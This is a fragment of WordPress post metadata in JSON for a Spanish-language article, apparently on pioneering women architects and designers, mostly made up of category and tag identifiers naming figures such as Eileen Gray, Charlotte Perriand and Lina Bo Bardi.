costumbres, permiti\u00e9ndonos a las arquitectas actuales recorrer nuestro camino con mayor facilidad. [&hellip;]<\/p>\n","protected":false},"author":21,"featured_media":37054,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5934,5951],"tags":[3120,4500,85,9607,102,9522,5864,2631,6893,7089,6657,147,2377,7846,12449,9487,9518,8161,9623,3733,310,5236,3843,12471,9520,330,4499,9612,3380,9609,6674,4026,9510,4503,5989,3165,9608,4497,1627,5584,542,1787,570,2792,9050,4502,9519,9601,9774,9603,9772,668,9517,9622,9627,9611,8085,760,1621,785,3732,2394,8637,815,9598,9779,9600,9606,9773,9624,9778,9599,9771,4492,865,866,877,4888,9602,1564,995,2513,3452,1517,12466,1573,7146,3558,9775,9777,9521,3929,1241,9610,1269,1298,1321,3167,2461,12454,1363,9613],"class_list":["post-37052","post","type-post","status-publish","format-standard","has-post-thumbnail","category-articulos","category-slider-principal","tag-acuarela","tag-adolf-loos","tag-africa","tag-aino-marsio-aalto","tag-alvar-aalto","tag-arquitecta-pionera","tag-arquitectura-espanola","tag-arquitectura-finlandesa","tag-arquitectura-francesa","tag-arquitectura-italiana","tag-arquitectura-moderna","tag-arquitectura-social","tag-art-nouveau","tag-arte","tag-artek","tag-carlos-v-de-valois","tag-carmen-espegel-alonso","tag-charles-rennie-mackintosh","tag-charlotte-perriand","tag-china","tag-christine-de-pizan","tag-ciencia","tag-cine","tag-ciudad-alegorica","tag-coam","tag-cocina-de-frankfurt","tag-concepcion-arenal","tag-cristina-garcia-rosales","tag-dante-gabriel-rosetti","tag-decorado","tag-dibujante","tag-diseno-de-joyas","tag-diseno-de-mobiliario","tag-ecole-de-beaux-arts","tag-eileen-gray","tag-elisabeth-siddal","tag-ernst-may","tag-escocia","tag-escritura","tag-etsam","tag-europa","tag-felix-candela","tag-fernando-chueca-goitia","tag-frankfurt","tag-gio-ponti","tag-giovanni-boccaccio","tag-grethe-meyer","tag-grethe-schutte-lihotzky","tag-grethe-schutte-lihotzy","tag-harry-maire-gullichsen","tag-historia","tag-hortensia","tag-james-herbert-macnair","tag-jean-badovicci","tag-jennie-louise-blanchard","tag-jose-ortega-y-gasset","tag-joyeria","tag-kenneth-frampton","tag-le-corbusier","tag-lilly-reich","tag-lina-bo-bardi","tag-luis-moya-blanco","tag-maestro","tag-maija-isola","tag-manuel-lopez-mateos","tag-margaret-kropoholler-staal","tag-margaret-mc-donald","tag-margarete-schutte-lihotzky","tag-margarety-frances-macdonald","tag-maria-juana-ontanon","tag-marianne-brandt","tag-marie-ahlstrom","tag-matilde-ucelay","tag-mies-van-der-rohe","tag-milan","tag-moda","tag-mujeres-arquitectas","tag-nana-ditzel","tag-objeto","tag-participacion","tag-participacion-ciudadana","tag-personaje","tag-peter-y-alison-smithson","tag-pintura","tag-premio-nacional","tag-premio-nobel","tag-ray-eames","tag-revista-domus","tag-rita-fernandez-queimadelos","tag-rita-leve-montalcini","tag-sigfried-giedion","tag-sociedad","tag-sophia-haydn","tag-teatro","tag-tradicion","tag-universidad","tag-villa-e-1027","tag-villa-mairea","tag-vivienda-colectiva","tag-vivienda-social","tag-walter-bejamin"],"yoast_head":"<!-- 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